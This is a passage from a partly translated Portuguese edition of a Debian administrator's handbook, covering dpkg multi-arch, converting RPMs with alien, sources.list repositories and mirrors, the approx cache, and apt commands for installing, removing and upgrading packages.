Setting up gcc-6-base:armhf (6.3.0-18) ...
# dpkg --remove-architecture armhf
dpkg: error: cannot remove architecture ’armhf’ currently in use by the database
# dpkg --remove-architecture armel
# dpkg --print-foreign-architectures
armhf

OBS

suporte APT multi-arqu
APT irá detectar automaticamente quando dpkg foi configurado para suportar ar-
quiteturas estrangeiras e vai começar a fazer o download dos pacotes correspon-
dentes durante seu processo de atualização.

Pacotes estranhos podem em seguida ser instalados com apt install
pacote:arquitetura.

NA PRÁTICA

Usando binários de
propriedade do i386 no

amd64

There are multiple use cases for multi-arch, but the most popular one is the possi-
bility to execute 32 bit binaries (i386) on 64 bit systems (amd64).

Alterações relativas ao Multi-Arqu

To make multi-arch actually useful and usable, libraries had to be repackaged and moved to an
architecture-specific directory so thatmultiple copies (targeting different architectures) can be
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installed alongside. Such updated packages contain the “Multi-Arch: same” header field to tell
the packaging system that the various architectures of the package can be safely co-installed
(and that those packages can only satisfy dependencies of packages of the same architecture).
The most important libraries have been converted since the introduction of multi-arch in De-
bian Wheezy, but there are many libraries that will likely never be converted unless someone
specifically requests it (through a bug report for example).
$ dpkg -s gcc-6-base
dpkg-query: error: --status needs a valid package name but ’gcc-6-base’ is not:

å ambiguous package name ’gcc-6-base’ with more than one installed instance

Use --help for help about querying packages.
$ dpkg -s gcc-6-base:amd64 gcc-6-base:armhf | grep ^Multi
Multi-Arch: same
Multi-Arch: same
$ dpkg -L libgcc1:amd64 |grep .so
/lib/x86_64-linux-gnu/libgcc_s.so.1
$ dpkg -S /usr/share/doc/gcc-6-base/copyright
gcc-6-base:amd64, gcc-6-base:armhf: /usr/share/doc/gcc-6-base/copyright

Vale a pena notar que o pacote Multi-Arqu: same devem ter seus nomes qualificados com sua
arquitetura para ser inequivocamente identificável. Eles também têm a possibilidade de com-
partilhar arquivos com outras instâncias do mesmo pacote; dpkg garante que todos os pacotes
têm arquivos bit-por-bit idênticos quando eles são compartilhados. Por último, mas não menos
importante, todas as instâncias de um pacote devem ter a mesma versão. Devem, portanto, ser
atualizados em conjunto.
Suporte Multi-Arch também traz alguns desafios interessantes na forma como são tratadas as
dependências. Satisfazer uma dependência requer umpacotemarcado “Multi-Arqu: foreign” ou
umpacote cuja arquitetura corresponde ao do pacote declarando a dependência (no processo de
resolução de dependência, pacotes independentes de arquitetura são assumidos ser da mesma
arquitetura que o host). A dependência também pode ser enfraquecida para permitir que qual-
quer arquitetura de cumpri-la, com a sintaxe pacote:any, mas pacotes estrangeiros só podem
satisfazer uma tal dependência, se eles são marcados “Multi-Arch: allowed”.

5.5. Coexistencia com outros sistemas de pacotes

Pacotes Debian não são os únicos pacotes de software usados no mundo do software livre. O
principal concorrente é o formato RPMdoRedHat Linux e seusmuitos derivados. RedHat é uma
distribuição comercial muito popular. Assim, é comum para software fornecido por terceiros
ser oferecido como pacotes RPM ao invés de pacotes Debian.
Neste caso, saiba que o programa rpm, que manipula pacotes RPM, está disponível como um pa-
cote Debian, portanto é possível usar este formato de pacote no Debian. Deve-se tomar cuidado,
entretanto, para limitar estas manipulações ao extrair a informação de um pacote ou verificar
sua integridade. É, na verdade, sem sentido usar o rpm para instalar RPMs em sistemas Debian;
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O RPM usa seu próprio banco de dados, separado do software nativo (como o dpkg). É por isto
que não é possível garantir uma coexistência estável dos dois sistemas de pacotes.
Por outro lado, o utilitário alien pode converter pacotes RPM em pacotes Debian, e vice-versa.

COMUNIDADE

Encorajando a adoção de
.deb

If you regularly use the alien program to install RPM packages coming from one
of your providers, do not hesitate to write to them and amicably express your
strong preference for the .deb format. Note that the format of the package is not
everything: a .deb package built with alien or prepared for a version of Debian
different than that which you use, or even for a derivative distribution like Ubuntu,
would probably not offer the same level of quality and integration as a package
specifically developed for Debian Stretch.

$ fakeroot alien --to-deb phpMyAdmin-4.7.5-2.fc28.noarch.rpm
phpmyadmin_4.7.5-3_all.deb generated
$ ls -s phpmyadmin_4.7.5-3_all.deb
4356 phpmyadmin_4.7.5-3_all.deb

Você vai perceber que este processo é extremamente simples. Você deve saber, entretanto, que
o pacote gerado não vai ter quaisquer informações de dependências, já que as dependências nos
dois formatos de empacotamento não têm uma correspondências sistemática. O administrador
deve assimgarantirmanualmente que o pacote convertido funcionará corretamente, e é por isto
que os pacotes Debian assim gerados devem ser evitados o tanto quanto possível. Felizmente,
o Debian tem a maior coleção de pacotes de todas as distribuições, e é provavel que o que você
procura já está lá.
Procurando na páginaman do comando alien, você vai notar também que este programamani-
pula outros formatos de pacote, especialmente o usado pela distribuição Slackware (é feito por
um simples arquivo tar.gz).
A estabilidade do programa publicado usando a ferramenta dpkg contribui para a fama do De-
bian. O conjunto de ferramentas APT, descrito no capítulo seguinte, preserva esta vantagem,
enquanto libera o administrador de gerir o status dos pacotes, uma tarefa difícil, porém neces-
sária.
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O que faz o Debian tão popular entre os administradores é a facilidade para instalar um programa e
atualizar o sistema inteiro. Esta vantagem rara é em grande parte devida ao programa APT, que os
administradores da Falcot Corp estudaram com entusiasmo.



APT é a sigla de Advanced Package Tool (ferramenta de pacotes avançada). O que faz dele ”avan-
çado” é sua abordagem quanto a pacotes. Ele não os avalia individualmente, mas considera-os
como um todo e produz as melhores combinações de pacotes possível dependendo do que está
disponível e compatível (de acordo com as dependências).

VOCABULÁRIO

fonte do pacote e pacote
fonte

A palavra origem (fonte) pode ser ambígua. Um pacote de origem (fonte) - um
pacote contendo o código fonte de um programa - não deve ser confundido com
origem (fonte) do pacote - um repositório (site de internet, servidor FTP, CD-ROM,
diretório local, etc.) o qual contém pacotes.

O APT precisa que lhe seja dada uma “lista de fontes de pacotes”: o arquivo /etc/apt/sources.
list listará os diferentes repositórios (ou ”fontes”) que publicam pacotes Debian. O APT irá
então importar a lista de pacotes publicados por cada uma destas fontes. Esta operação é feita
baixando o arquivo Packages.xz ou uma variante usando arquivos (no caso de uma fonte de
pacotes binários) com um método de compressão diferente (tal como Packages.gz ou .bz2) e
Sources.xz ou uma variante (no caso de uma fonte de pacotes código-fonte) e analizando seus
conteúdos. Quando uma cópia antiga destes arquivos já estiver presente, o APT poderá atualizar
ela baixando apenas as diferenças (veja a barra lateral Atualização incremental [114]).

DE VOLTA AO BÁSICO

gzip, bzip2, LZMA e XZ
Compressão

Uma extensão .gz se refere a um arquivo comprimido com o utilitário gzip. gzip
é o utilitário tradicional do Unix rápido e eficiente para comprimir arquivos. Fer-
ramentas mais novas conseguem taxas de compressão melhores mas precisam de
mais recursos (tempo de cálculo e memória) para compactar e descompactar um
arquivo. Entre elas e por ordem de surgimento, estão bzip2 (gerando arquivos com
a extensão .bz2), lzma (gerando arquivos .lzma) e xz (gerando arquivos .xz).

6.1. Preenchendo no arquivo sources.list Arquivo

6.1.1. Sintaxe

Cada linha ativa do arquivo /etc/apt/sources.list contém a descrição da origem, feita de 3
partes separadas por espaços.
O primeiro campo indica o tipo da origem:

• “deb” para pacotes binários,
• “deb-src” para pacotes de código fonte.

The second field gives the base URL of the source (combined with the filenames present in the
Packages.xz files, it must give a full and valid URL): this can consist in a Debianmirror or in any
other package archive set up by a third party. The URL can start with file:// to indicate a local
source installed in the system’s file hierarchy, with http:// to indicate a source accessible from
a web server, or with ftp:// for a source available on an FTP server. The URL can also start with
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cdrom: for CD-ROM/DVD-ROM/Blu-ray disc based installations, although this is less frequent,
since network-based installation methods are more and more common.
A sintaxe do último campo depende da estrutura do repositório. Nos casos mais simples, você
pode simplesmente indicar um subdiretório (comuma barra obrigatória) da fonte desejada (esta
é muitas vezes uma “./” que se refere à ausência de um subdirectório - os pacotes estão então
diretamente naURL especificada). Mas, no casomais comum, os repositórios serão estruturados
como um espelho Debian, com múltiplas distribuições cada uma com múltiplos componentes.
Nesses casos, o nome da distribuição escolhida (por seu ”codinome” - veja a lista na barra lateral
Bruce Perens, um líder controverso [9] — ou pelos “suites” correspondentes — stable, testing,
unstable), em seguida, os componentes (ou seções) para ativar (escolhidos entre main, contrib,
e non-free em um espelho típico Debian).

VOCABULÁRIO

Os arquivos main, contrib
e non-free

O Debian utiliza três seções para diferenciar os pacotes de acordo com o tipo de
licença escolhida pelos autores de cada trabalho. Main contém todos os pacotes
que estão completamente de acordo com o Debian Free Software Guilines.

O arquivo non-free é diferente porque contém programas os quais não estão (com-
pletamente) de acordo com estes princípios, mas que podem, contudo, ser distribuí-
dos sem restrições. Este arquivo, o qual não é parte oficial do Debian, é um serviço
para os usuários que poderiam precisar de alguns desses programas - entretanto o
Debian sempre recomenda dar prioridade aos programas livres. A existência dessa
seção representa um problemas considerável para Richard M. Stallman e mantém
a Free Software Foundation de recomendação do Debian para os usuários.

Contrib (contribuições) é um conjunto de programas de código aberto que não
podem funcionar sem um elemento não livre. Estes elementos podem ser progra-
mas da seção non-free, ou arquivos não livres como as ROMs de jogos, BIOS de
consoles, etc. Contrib também incluem programas livres que a compilação neces-
sita de elementos proprietários. Este foi inicialmente o caso da suíte de escritório
OpenOffice.org, o qual necessitava um ambiente java proprietário.

DICA

/etc/apt/sources.list.d/*.list
arquivos

Se muitas fontes de pacotes são referenciadas, pode ser útil separá-las em múl-
tiplos arquivos. Cada parte é então guardada em /etc/apt/sources.list.
d/nome-do-arquivo.list (veja a barra lateral Diretórios terminados em .d
[116]).

As entradas cdrom descrevem os CD/DVD-ROMs que você tem. Ao contrário de outras entra-
das, um CD-ROM não está sempre disponível, uma vez que tem de ser inserido na unidade e
apenas um disco pode ser lido de cada vez. Por essas razões, essas fontes são geridas de uma
forma ligeiramente diferente, e precisam ser adicionados com o programa apt-cdrom, geral-
mente executado com o parâmetro add. Este último, então, solicitará o disco a ser inserido na
unidade e vai varrer o seu conteúdo à procura de arquivos de Packages. Ele usará esses arquivos
para atualizar seu banco de dados de pacotes disponíveis (esta operação é geralmente feita pelo
comando apt update). A partir daí, o APT pode pedir que seja inseriod um disco se ele precisar
de um dos pacotes no disco.
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6.1.2. Repositórios para usuários Estáveis

Aqui está um sources.list padrão para um sistema rodando a versão Estável do Debian:

Exemplo 6.1 arquivo /etc/apt/sources.list para usuários do Debian Estável

# Security updates
deb http://security.debian.org/ stretch/updates main contrib non-free
deb-src http://security.debian.org/ stretch/updates main contrib non-free

## Debian mirror

# Base repository
deb http://deb.debian.org/debian stretch main contrib non-free
deb-src http://deb.debian.org/debian stretch main contrib non-free

# Stable updates
deb http://deb.debian.org/debian stretch-updates main contrib non-free
deb-src http://deb.debian.org/debian stretch-updates main contrib non-free

# Stable backports
deb http://deb.debian.org/debian stretch-backports main contrib non-free
deb-src http://deb.debian.org/debian stretch-backports main contrib non-free

This file lists all sources of packages associated with the Stretch version of Debian (the current
Stable as of this writing). We opted to name “stretch” explicitly instead of using the correspon-
ding “stable“ alias (stable, stable-updates, stable-backports) because we don’t want to have the
underlying distribution changed outside of our control when the next stable release comes out.
Amaioria dos pacotes serão provenientes do “repositório de base”, que contém todos os pacotes,
mas raramente é atualizado (uma vez a cada 2meses para um “ponto de lançamento”). Os outros
repositórios são parciais (não contêm todos os pacotes) e podem receber atualizações (pacotes
numa versão mais recente) que o APT pode instalar. As seções a seguir irão explicar o propósito
e as regras que regem cada um desses repositórios.
Observe que quando a versão desejada de um pacote está disponível em vários repositórios, o
primeiro listado no arquivo sources.list será usado. Por esta razão, as fontes não oficiais são
geralmente adicionadas no final do arquivo.
Como uma observação, a maioria do que esta seção diz sobre Stable aplica-se igualmente bem a
Oldstable uma vez que esta é apenas uma velha Stable que é mantida em paralelo.

Atualizações de Segurança

As atualizações de segurança não são hospedadas na rede habitual de espelhos do Debian, mas
em security.debian.org (em um pequeno conjunto demáquinas mantidas pelos Administradores
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de Sistema Debian). Estes arquivos contém as atualizações de segurança (elaboradas pela equipe
de segurança do Debian e/ou mantenedores de pacotes) para a distribuição Stable.
O servidor também pode hospedar atualizações de segurança para Testingmas isso não acontece
com muita frequência uma vez que as atualizações tendem chegar a Testing através do fluxo
regular de atualizações provenientes do Unstable.

Atualizações Estáveis

Atualizações estáveis não são sensíveis de segurança, mas são consideradas importantes o sufi-
ciente para ser empurradas para os usuários antes do próximo ponto de lançamento estável.
Este repositório normalmente contêm correções para bugs críticos que não puderam ser corri-
gidos antes do lançamento ou que tenham sido introduzidos pelas atualizações subsequentes.
Dependendo da urgência, ele também pode conter atualizações para os pacotes que têm de evo-
luir ao longo do tempo... como as regras de detecção de spam do spamassassin, o banco de dados
de vírus do clamav ou as regras de horário de verão de todos os fusos horários do (tzdata).
Na prática, este repositório é umsubconjunto do repositórioproposed-updates, cuidadosamente
selecionado pelos Gerentes de Lançamento Estável .

Atualizações Propostas

Depois de publicada, a distribuição Stable é atualizada em aproximadamente de dois em dois
meses. O repositório atualizações-propostas é onde as atualizações esperadas são preparadas
(sob a supervisão dos Gerentes de versão Estável).
As atualizações de segurança e estáveis documentadas nas seções anteriores são sempre incluí-
das neste repositório, mas não há mais também, porque os mantenedores de pacotes também
têm a oportunidade de corrigir erros importantes que não merecem uma libertação imediata.
Anyone can use this repository to test those updates before their official publication. The ex-
tract below uses the stretch-proposed-updates alias which is both more explicit and more con-
sistent since jessie-proposed-updates also exists (for the Oldstable updates):
deb http://ftp.debian.org/debian stretch-proposed-updates main contrib non-free

Backports estáveis

O servidor do repositório stable-backports oferece “pacotes backports”. O termo refere-se a
um pacote de algum software recente, que foi recompilado para uma distribuição mais velha,
geralmente para Stable.
Quando a distribuição começa a envelhecer, vários projetos de software lançam novas versões
que não são integradas na Stable atual (que émodificada apenas para resolver os problemasmais
críticos, como problemas de segunrança). Como as distribuições Testing e Unstable podem ser
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mais arriscadas, mantenedores de pacotes oferencem recompilações de software recente para a
Stable, que tem a vantagem de limitar instabilidade potencial a um pequeno número de pacotes
escolhidos.
è http://backports.debian.org

Backports de stable-backports são sempre criados a partir de pacotes disponíveis no Testing. Isso
garante que todos os backports instalados serão atualizáveis para a versão estável correspon-
dente uma vez que a próxima versão estável do Debian está disponível.
Mesmo que este repositório forneça versões mais recentes dos pacotes, o APT não os instala a
menos que você dê instruções explícitas para fazê-lo (ou a menos que você já o fez com uma
versão anterior do backport determinado):

$ sudo apt-get install package/stretch-backports
$ sudo apt-get install -t stretch-backports package

6.1.3. Repositórios para usuários Testing/Unstable Users

Aqui está um sources.list padrão para um sistema executando uma versão Testing ou Unstable
do Debian:

Exemplo 6.2 arquivo /etc/apt/sources.list para usuários do Debian Testing/Unstable

# Unstable
deb http://deb.debian.org/debian unstable main contrib non-free
deb-src http://deb.debian.org/debian unstable main contrib non-free

# Testing
deb http://deb.debian.org/debian testing main contrib non-free
deb-src http://deb.debian.org/debian testing main contrib non-free

# Stable
deb http://deb.debian.org/debian stable main contrib non-free
deb-src http://deb.debian.org/debian stable main contrib non-free

# Security updates
deb http://security.debian.org/ stable/updates main contrib non-free
deb http://security.debian.org/ testing/updates main contrib non-free
deb-src http://security.debian.org/ stable/updates main contrib non-free
deb-src http://security.debian.org/ testing/updates main contrib non-free

Com este arquivo sources.list APT instalará pacotes de Unstable. Se isso não for desejado,
use a configuração APT::Default-Release (veja Seção 6.2.3, “Atualização do sistema” [114]) para
instruir oAPTa escolher pacotes a partir de umaoutra distribuição (provavelmenteTestingneste
caso).
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Há boas razões para incluir todos os repositórios, mesmo que um só deva ser suficiente. Testing
os usuários irão apreciar a possibilidade de cherry-pick um pacote fixo do Unstable quando a
versão em Testing é afetado por um erro chato. Em contrapartida, usuários Unstable afetado por
regressões inesperadas têm a possibilidade de fazer o downgrade dos pacotes para sua versão
(supostamente de trabalho) Testing.
A inclusãodo Stable émais discutível,mas quemuitas vezes dá acesso a alguns pacotes, que foram
retirados das versões de desenvolvimento. Ele também garante que você obtenha as últimas
atualizações para os pacotes que não tenham sido modificados desde a última versão estável.

O repositório experimental

O arquivamento dos pacotes da Experimental está presente em todos os espelhos Debian, e con-
tém pacotes que não estão na versão Unstable ainda devido sua qualidade inferior — eles são, ge-
ralmente, versões em desenvolvimento ou pré-versões (alfa, beta, candidatos a lançamento…).
Um pacote pode também ser enviado para lá devido a mudanças que possam gerar problemas.
O mantenedor então tenta desvendar esses problemas com a ajuda de usuários avançados que
possam lidar com questões importantes. Depois deste primeiro estágio, o pacote é movido para
a Unstable, onde ele alcança uma audiência muito maior e onde ele será testado mais minuciosa-
mente.
A Experimental é geralmente usada por usuário que não se importam em quebrar o seu sistema
e ter que consertá-lo. Esta distribuição dá a possibilidade de importar um pacote que o usuário
queira testar ou usar quando surge uma necessidade. Esta é exatamente a abordagem do Debian,
já que adicionar a Experimental ao arquivo sources.list do APT não leva ao uso sistemático
destes pacotes. A linha a ser adicionada é:
deb http://deb.debian.org/debian experimental main contrib non-free

6.1.4. Using Alternate Mirrors

The sources.list examples in this chapter refer to package repositories hosted on
deb.debian.og. Those URLs will redirect you to servers which are close to you and which are
managed by Content Delivery Networks (CDN) whose main role is to store multiple copies of
the files across the world to deliver them as fast as possible to users. The CDN companies that
Debian is working with are Debian partners who are offering their services freely to Debian.
While none of those servers are under direct control of Debian, the fact that the whole archive
is sealed by GPG signatures makes it a non-issue.
Picky users who are not satisfied with the performance of deb.debian.org can try to find a better
mirror in the official mirror list:
è https://www.debian.org/mirror/list

But when you don’t know which mirror is best for you, this list is of not much use. For-
tunately for you, Debian maintains DNS entries of the form ftp.country-code.debian.org (e.g.
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ftp.us.debian.org for the USA, ftp.fr.debian.org for France, etc.) which are covering many coun-
tries and which are pointing to one (or more) of the best mirrors available within that country.
As an alternative to deb.debian.org, there used to be httpredir.debian.org. This service would
identify a mirror close to you (among the list of official mirrors, using GeoIP mainly) and would
redirect APT’s requests to that mirror. This service has been deprecated due to reliability con-
cerns and now httpredir.debian.org provides the same CDN-based service as deb.debian.org.

6.1.5. Recursos não oficiais: mentors.debian.net

Existem inúmeras fontes não-oficiais de pacotes Debian feitas por usuários avançados que re-
compilaram algum software (o Ubuntu fez isso popular com o seu serviço ”Personal Package
Archive”), por programadores que disponibilizam sua criação para todos, e mesmo por desen-
volvedores Debian que oferecem pré-versões de seu pacote online.
O sítio mentors.debian.net é interessante (embora ele apenas forneça pacotes fontes), já que
reúne pacotes criados por candidatos ao status de desenvolvedor Debian oficial ou por volun-
tários que desejam criar pacotes Debian sem passar pelo processo de integração. Estes pacotes
são disponibilizados sem qualquer garantia de qualidade; certifique-se de verificar a origem e a
integridade e fazer testes antes de usar em produção.

COMUNIDADE

Os sítios debian.net
O domínio debian.net não é um recurso oficial do projeto Debian. Cada desen-
volvedor Debian pode usar este domínio para seu próprio uso. Estes sítios podem
conter serviços não-oficiais (algumas vezes sítios pessoais) hospedados numa má-
quina que não pertence ao projeto e que foram configurados por desenvolvedores
Debian, ou podem conter protótipos prestes a irem para o debian.org. Duas razões
podem explicar por que alguns destes protótipos permanecem no debian.net : ou
por que ninguém fez o esforço necessário para transformar a coisa num serviço ofi-
cial (hospedado no domínio debian.org, e com uma certa garantia de manutenção),
ou o serviço é muito controverso para ser oficializado.

Instalar um pacote significa dar permissões de root para seu criador, por que o criador decide o
que fica nos scripts de inicialização que rodam com a identidade do root. Pacotes Debian oficiais
são criados por voluntários que cooperam e revisam e que marcam seus pacotes de forma que a
origem e integridade deles possam ser verificada.
Em geral, fique alerta com pacotes cuja origem você não conhece e que não são hospedados em
um dos servidores Debian oficiais: avalie o grau em que você confia no criador, e verifique a
integridade do pacote.
è http://mentors.debian.net/

INDO ALÉM

versões de pacotes
antigas:

snapshot.debian.org

O serviço snapshot.debian.org, introduzido em abril de 2010, pode ser usado
para ”voltar no tempo” e encontrar uma versão antiga de um pacote. Ele pode
ser usado por exemplo para identificar que versão de um pacote introduziu uma
regressão, e mais concretamente, para voltar à versão anterior enquanto espera a
correção da regressão.
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6.1.6. Proxy Cache para os pacotes Debian

Quando toda uma rede de máquinas está configurada para usar o mesmo servidor remoto para
baixar os mesmos pacotes atualizados, qualquer administrador sabe que seria benéfico ter uma
atuação proxy intermediária como um cache local da rede (veja o quadro Cache [121]).
Você pode configurar o APT para usar um proxy ”padrão” (veja Seção 6.2.4, “Opções de configu-
ração” [115] para o lado APT, e Seção 11.6, “Proxy HTTP/FTP” [298] para o lado proxy), mas o
ecossistema Debian oferece melhores opções para resolver este problema. O software dedicado
apresentado nesta seção são mais espertos do que um simples proxy cache, porque eles podem
contar coma estrutura específica de repositórios APT (por exemplo, eles sabemquando arquivos
individuais são obsoletos ou não, e, assim, ajustar o tempo durante o qual eles são mantidos).
apt-cacher e apt-cacher-ng funcionam como servidores de cache de proxy habituais. sources.
list da APT é deixado inalterado, mas APT está configurado para usá-los como proxy para soli-
citações de saída.
approx, por outro lado, funciona como um servidor HTTP que ”espelha” qualquer número de
repositórios remotos em suasURLs de nível superior. Omapeamento entre os diretórios de nível
superior e as URLs remotas dos repositórios é armazenado em /etc/approx/approx.conf:

# <name> <repository-base-url>
debian http://deb.debian.org/debian
security http://security.debian.org

approx runs by default on port 9999 via a systemd socket and requires the users to adjust their
sources.list file to point to the approx server:

# Sample sources.list pointing to a local approx server
deb http://apt.falcot.com:9999/security stretch/updates main contrib non-free
deb http://apt.falcot.com:9999/debian stretch main contrib non-free

6.2. Comandos aptitude, apt-get e apt

APT é um projeto amplo, cujos planos originais incluem uma interface gráfica. Ele é baseado
numa biblioteca que contém as aplicações principais, e o apt-get é a primeira interface — em
linha de comando — que foi desenvolvida dentro do projeto. O apt é uma segunda interface ba-
seada em linha de comando fornecida pelo APT que supera alguns erros de projeto do apt-get.
Both tools are built on top of the same library and are thus very close but the default behaviour
of apt has been improved for interactive use and to actually do what most users expect. APT’s
developers reserve the right to change the public interface of this tool to further improve it.
On the opposite, the public interface of apt-get is well defined and will not change in any
backwards incompatible way. It is thus the tool that you want to use when you need to script
package installation requests.
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Várias outras interfaces gráficas apareceram como projetos externos: synaptic, aptitude (que
temuma interfacemodo texto e uma gráfica— que ainda não está completa), wajig, etc. A inter-
face mais recomendada, apt, é a que nós iremos usar nos exemplos dados nesta seção. Note, po-
rém, que a sintaxe de linha de comando do apt-get e aptitude sãomuito semelhantes. Quando
existirem diferenças importantes entre o apt, apt-get e o aptitude, essas diferenças serão de-
talhadas.

6.2.1. Initialização

Para qualquer trabalho com o APT, a lista de pacotes disponíveis precisa ser atuali-
zada; isto pode ser feito simplesmente com apt update. Dependendo da velocidade
de sua conexão, a operação pode demorar um pouco, pois ela baixa alguns arquivos
Packages/Sources/Translation-language-code, que tornaram-se gradualmente cada vez
maiores devido o desenvolvimento do Debian (pelo menos 10 MB de dados para a seção main).
Obviamente, instalar de um conjunto de CD-ROMs não baixa nada — neste caso, a operação é
bastante rápida.

6.2.2. Instalação e remoção

Com o APT, os pacotes podem ser adicionados ou removidos do sistema, respectivamente com
apt install pacote e apt remove pacote. Em ambos os casos, o APT vai instalar automati-
camente as dependências necessárias ou apagar os pacotes que dependem do pacote que está
para ser removido. O comando apt purge pacote envolve uma desinstalação completa - os
arquivos de configuração também são excluídos.

DICA

Instalando a mesma
seleção de pacotes

diversas vezes

Pode ser útil instalar sistematicamente a mesma lista de pacotes em vários compu-
tadores. Isso pode ser feito facilmente.

Em primeiro lugar, recupere a lista de pacotes instalados no computador que servirá
como o ”modelo” para copiar.

$ dpkg --get-selections >pkg-list

O arquivo pkg-list passa a conter a lista dos pacotes instalados. Em seguida,
transfira o arquivo pkg-list para os computadores que você quer atualizar e use
os seguintes comandos:

## Atualiza banco de dados do dpkg de pacotes conhecidos
# avail=‘mktemp‘
# apt-cache dumpavail > ”$avail”
# dpkg --merge-avail ”$avail”
# rm -f ”$avail”
## Seleções de Atualização do dpkg
# dpkg --set-selections < pkg-list
## Pedir apt-get para instalar os pacotes selecionados
# apt-get dselect-upgrade
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Os primeiros comandos registram a lista de pacotes disponíveis no banco de da-
dos dpkg, então dpkg --set-selections restaura a seleção de pacotes que você
deseja instalar, e o apt-get executa as operações necessárias! aptitude não tem
este comando.

DICA

Removendo e instalando
ao mesmo tempo

É possível pedir ao apt (ou apt-get ou aptitude) para instalar certos pacotes e
remover outros na mesma linha de comando ao adicionar um sufixo. Com um co-
mando apt install, adicione “-” aos nomes de pacotes que você deseja remover.
Com um comando apt remove, adicione “+” para os nomes dos pacotes que você
deseja instalar.

O próximo exemplo mostra duas maneiras diferentes de instalar package1 \t e re-
mover package2.

# apt install pacote1 pacote2-
[...]
# apt remove pacote1+ pacote2
[...]

Este também pode ser utilizado para excluir os pacotes que de outra forma seriam
instalados, por exemplo, devido a uma Advertência. Em geral, o solucionador
de dependência vai usar essa informação como uma dica para procurar soluções
alternativas.

DICA

apt --reinstall e
aptitude reinstall

O sistema pode, às vezes, ser danificado com a remoção ou modificação de arqui-
vos num pacote. A forma mais fácil de recuperar estes arquivos é reinstalar o pa-
cote afetado. Infelizmente, o sistema de empacotamento nota que o pacote está
instalado e se recusa educadamente a reinstalá-lo; para evitar isto, use a opção
--reinstall dos comandos apt eapt-get. O comando abaixo reinstala o postfix
mesmo quando ele já estejapresente:

# apt --reinstall install postfix

O aptitude em linha de comando é ligeiramente diferente, mas atinge os mesmos
resultados com aptitude reinstall postfix.

O problema não ocorre com o dpkg, mas o administrador raramente usa-o direta-
mente.

Seja cuidadoso! Usar o apt --reinstall para recuperar pacotes alterados du-
rante um ataque com certeza não retorna o sistema ao que ele era. Seção 14.7,
“Lidando com uma máquina comprometida” [433] detalha os passos necessários
para lidar com um sistema comprometido.

Se o arquivo sources.list menciona muitas distribuições, é possível passar a versão do
pacote a instalar. Um número de versão específico pode ser solicitado com apt install
pacote=versão, mas indicar sua destribuição de origem (Stable, Testing ou Unstable) — com o
apt install pacote/distribuição — é normalmente preferido. Com este comando, é pos-
sível voltar a uma versão antiga do pacote (se por exemplo você sabe que isto vai funcionar
bem), desde que ela ainda esteja disponível em alguma das fontes referenciadas pelo arquivo
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sources.list. Por outro lado, o arquivamento snapshot.debian.org pode vir ao seu socorro
(veja a barra lateral versões de pacotes antigas: snapshot.debian.org [110]).

Exemplo 6.3 Instalação da versão unstable do spamassassin

# apt install spamassassin/unstable

If the package to install has been made available to you under the form of a simple .deb file
without any associated package repository, it is still possible to use APT to install it together
with its dependencies (provided that the dependencies are available in the configured reposi-
tories) with a simple command: apt install ./path-to-the-package.deb. The leading ./ is
important to make it clear that we are referring to a filename and not to the name of a package
available in one of the repositories.

APROFUNDANDO

O cache dos arquivos .deb
APT keeps a copy of each downloaded .deb file in the directory /var/cache/apt/
archives/. In case of frequent updates, this directory can quickly take a lot of
disk space with several versions of each package; you should regularly sort through
them. Two commands can be used: apt-get clean entirely empties the directory;
apt-get autoclean only removes packages which can no longer be downloaded
(because they have disappeared from the Debian mirror) and are therefore clearly
useless (the configuration parameter APT::Clean-Installed can prevent the re-
moval of .deb files that are currently installed).

6.2.3. Atualização do sistema

Atualizações regulares são recomendadas, pois elas incluem as últimas atualizações de segu-
rança. Para atualizar, use apt upgrade, apt-get upgrade ou aptitude safe-upgrade (claro
que depois de um apt update). Este comando busca por pacotes instalados que possam ser atua-
lizados sem remover nenhum pacote. Em outras palavras, o objetivo é garantir uma atualização
com o mínimo de transtorno possível. O apt-get é um pouco mais pesado que aptitude ou o
apt por que ele vai se recusar a instalar pacotes que não estavam instalados antes.

DICA

Atualização incremental
As we explained earlier, the aim of the apt update command is to download for
each package source the corresponding Packages (or Sources) file. However, even
after a xz compression, these files can remain rather large (the Packages.xz for the
main section of Stretch takes more than 6 MB). If you wish to upgrade regularly,
these downloads can take up a lot of time.

Para acelerar o processo do APT pode baixar arquivos “diff” contendo as mudanças
desde o update anterior, ao invés de todo o arquivo. Para isto, os espelhos oficiais
doDebian distribuem arquivos diferentes que listam as diferenças entre uma versão
do arquivos Packages e a versão seguinte. Eles são gerados em cada atualização
dos arquivamentos e um histórico de uma semana é guardado. Cada um destes
arquvios de ”diff” apenas ocupam uns poucos kilobytes para a Unstable, de forma
que a quatidade de dados baixados por um apt update semanal é às vezes dividido
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por 10. Para distribuições como a Stable e a Testing, que mudam menos, o ganho
é ainda mais visível.

Entretanto, algumas vezes é interessante forçar o download do arquivo Packages
todo, especialmente quando a última atualização é muito antiga e o mecanismo de
diferenças incremental não vai ajudar muito. Isto também pode ser interessante
quando o acesso à rede é muito rápido mas o processador da máquina que vai atu-
alizar nem tanto, pois o tempo economizado para o download émaior que o perdido
para juntar as versões dos arquivos (iniciando com a versão antiga e aplicando as
diferenças baixadas). Para fazer isto, você pode usar o parâmetro de configuração
Acquire::Pdiffs e configurar ele para false.

O apt vai geralmente selecionar o número de versão mais recente (exceto para pacotes de Ex-
perimental e stable-backports, que são normalmente ignorados independente do número da ver-
são). Se você especificar a versão Testing ou a Unstable em seu arquivo sources.list, um apt
upgrade vai trocar a maioria do seu sistema Stable para Testing ou Unstable, que pode não ser o
que você pretende.
Para dizer ao apt para usar uma distribuição específica quando buscando por pacotes para
atualizar, você precisa usar a opção -t ou --target-release, seguida do nome da distribuição
que você quer (por exemplo: apt -t stable upgrade). para evitar ficar usando esta op-
ção toda vez que usa o apt, você pode adicionar APT::Default-Release ”stable”; no arquivo
/etc/apt/apt.conf.d/local.
Para atualizações mais importantes, como mudar de uma versão principal do Debian para a se-
guinte, você precisa usar apt full-upgrade. Com esta instrução, o apt vai completar a atuali-
zação mesmo se ele tiver que remover alguns pacotes obsoletos ou instalar novas dependências.
Este também é o comando usado pelos usuários que trabalhamdiariamente com a versão Debian
Unstable e seguem sua evolução dia após dia. É tão simples que dispensa explicações: a reputação
do APT é baseada nesta fantástica funcionalidade.
Diferente do apt e aptitude, o apt-get não conhece o comando full-upgrade. Em seu lugar,
você deve usar apt-get dist-upgrade (”atualização de distribuição”), o histórico e bem co-
nhecido comando que o apt e aptitude também aceitam para conveniência dos usuários que
ficaram acostumados com ele.

6.2.4. Opções de configuração

Além dos elementos de configuração já mencionados, é possível configurar certos aspectos do
